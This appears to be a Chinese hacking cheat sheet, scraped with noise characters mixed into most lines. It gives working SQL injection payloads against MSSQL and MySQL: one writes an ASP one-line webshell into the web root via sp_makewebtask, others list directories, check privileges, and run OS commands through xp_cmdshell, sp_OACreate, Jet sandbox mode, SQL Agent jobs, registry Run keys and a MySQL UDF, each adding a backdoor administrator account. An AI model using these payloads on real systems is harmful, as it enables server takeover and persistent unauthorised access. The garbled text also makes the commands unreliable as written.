MSSQL语句导出一句话木马
/ q* ?' o$ V% R: @5 g% E$ F首先确定网站的WEB路径4 n! |$ U) G8 Z) k2 W! }& Q
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马0 @* | V$ O; }
3 j9 I9 G9 r# ]& F# S;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');-- 3 y3 K* `" L# f6 {1 ?. g8 h, e* B
//将一句话木马插入表中
" t1 k& p9 \. @; E) U9 N8 a) A
, Z5 J2 z- J9 w0 d1 T- @9 @2 J1 x;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
6 B) W$ Z1 j# X+ b//导出一个ASP文件
" h; M; v8 w4 P# N' e) O2 n7 m7 b+ v1 ^0 |. p, l) B9 V
7 v: o- U1 b- y7 @7 X关于MSSQL列目录% M$ F0 Z9 `4 X
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表; s4 h4 k* ~0 N1 t/ t' O i' {
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
' g, ]! l1 @8 q! T& U( D. _. Q
) C3 N8 n( \5 qand (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
5 I, x: C+ y% P1 v
$ ^/ B2 c+ ]5 m8 r0 R1 Y. k% nAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段
* h' W t9 |, g
9 O0 M- u: z; [And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
- N( e; q" ^2 d1 D! T5 W; O2 s0 G0 n+ ?# O: l% Y$ A3 O
9 k& b7 _% a4 C8 D6 S% }& P2 }
数据库版本和权限查看
h2 Y2 Q3 U# H6 L: I4 E9 qand 1=(select @@VERSION) //查看详细的数据库信息.% N% ]! ]; Z# j' t k
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA m" ^, a' O" ]# `
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
+ p5 z( S% E- p4 v& I" N& E$ l# k- @6 N! d
* h ^7 F# D5 Q6 G4 p; h1.利用xp_cmdshell执行命令
% C0 @1 }' b: c8 ^) ~+ cexec master..xp_cmdshell 'net user rfire 123456 /add'& x3 p- d( _2 }
exec master..xp_cmdshell 'net localgroup administrators rfire /add'. {3 | w& N# G. R7 U: S; s' d
' R$ V# R9 R. g) ~- H恢复xp_cmdshell存储过程
) s; R. ?2 i+ }+ j/ e% p! j9 q5 ?Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
6 C, T5 T' M3 }' r/ {3 b/ s+ m' T
6 ^% h9 a; \4 }- g7 }# N/ `" g
2.利用SP_OAcreate和SP_OAMETHOD执行命令8 j8 C6 C. F- N9 {4 o
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下' b/ M% S( K N) E/ t/ r
DECLARE @shell INT //建立一个@shell实体
& D4 S9 w, V5 F z7 w/ j4 @$ pEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
5 ^5 c8 u4 D/ \9 x( sEXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例0 J, n" Z; N, P, b" v& b
9 d% \, ]6 _6 o$ g, |3 n6 V0 N/ y& W) A% q4 P4 v% y8 z
3.利用沙盒模式1 z# `+ A5 I# L) G) C0 ~6 I' N
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
( y/ ]1 w0 S7 S" _ I开启沙盒模式:
' d& O1 h$ e5 o7 z4 EEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0* v2 D: B( ?1 s* g1 R8 l
9 j$ F( H m0 G
执行命令:, [: R, x. \+ s" c6 T% ^9 a6 h
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');) J* b5 W0 Q; w6 E
4 \+ I, V9 U2 m3 W! X5 Z/ {: u
. \& F7 L, @* Q7 P1 p$ J4 e! V4.利用SQL代理执行命令
8 @( A) S {* i+ q) pEXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
; ^/ N: ?1 p0 e( p" h, t* j! s4 e# `: E' e! [$ a; r2 ?
执行命令:
: E$ W7 p5 M' Ouse msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
4 X: U- O/ W$ a M& L& s' _exec sp_add_job 'x'
1 C; I6 A$ K5 T y8 `exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
" D0 [2 A7 v0 Q- `% |/ u6 u6 Gexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业' c4 W2 w: m, W8 ~. N! `
; }5 l7 O2 O8 M+ m' ?- G' J
/ A. f3 Y3 w6 B `& ~: L5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)% o7 x1 }% ?. \. a d2 `/ Y( I
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
& l0 V( p4 z8 v) H2 G
* [* K& z4 x C: i0 y9 Q6 R3 M
% h( o6 K, `' g+ Y$ q7 R9 v6.MYSQL的命令执行
0 y+ K$ F# c! hMYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
6 q1 l i3 B6 }首先要在su.php下导出c:\windows\udf.dll
7 J! f3 K/ t, s6 X# A* y导出后执行创建自定义函数命令:
, r3 @5 U2 @: M# E5 H DCreate Function cmdshell returns string soname 'udf.dll'6 G, l2 @: T* B: d$ z" U' s
执行命令' L& n8 ?& l1 `3 Q4 W, S
select cmdshell('net user rfire 123456 /add')( o7 }. t- h. T. p: Q+ ^- h3 ^( v
执行后删除函数 drop function cmdshell5 e* [; }' M3 O# f. u* ~
|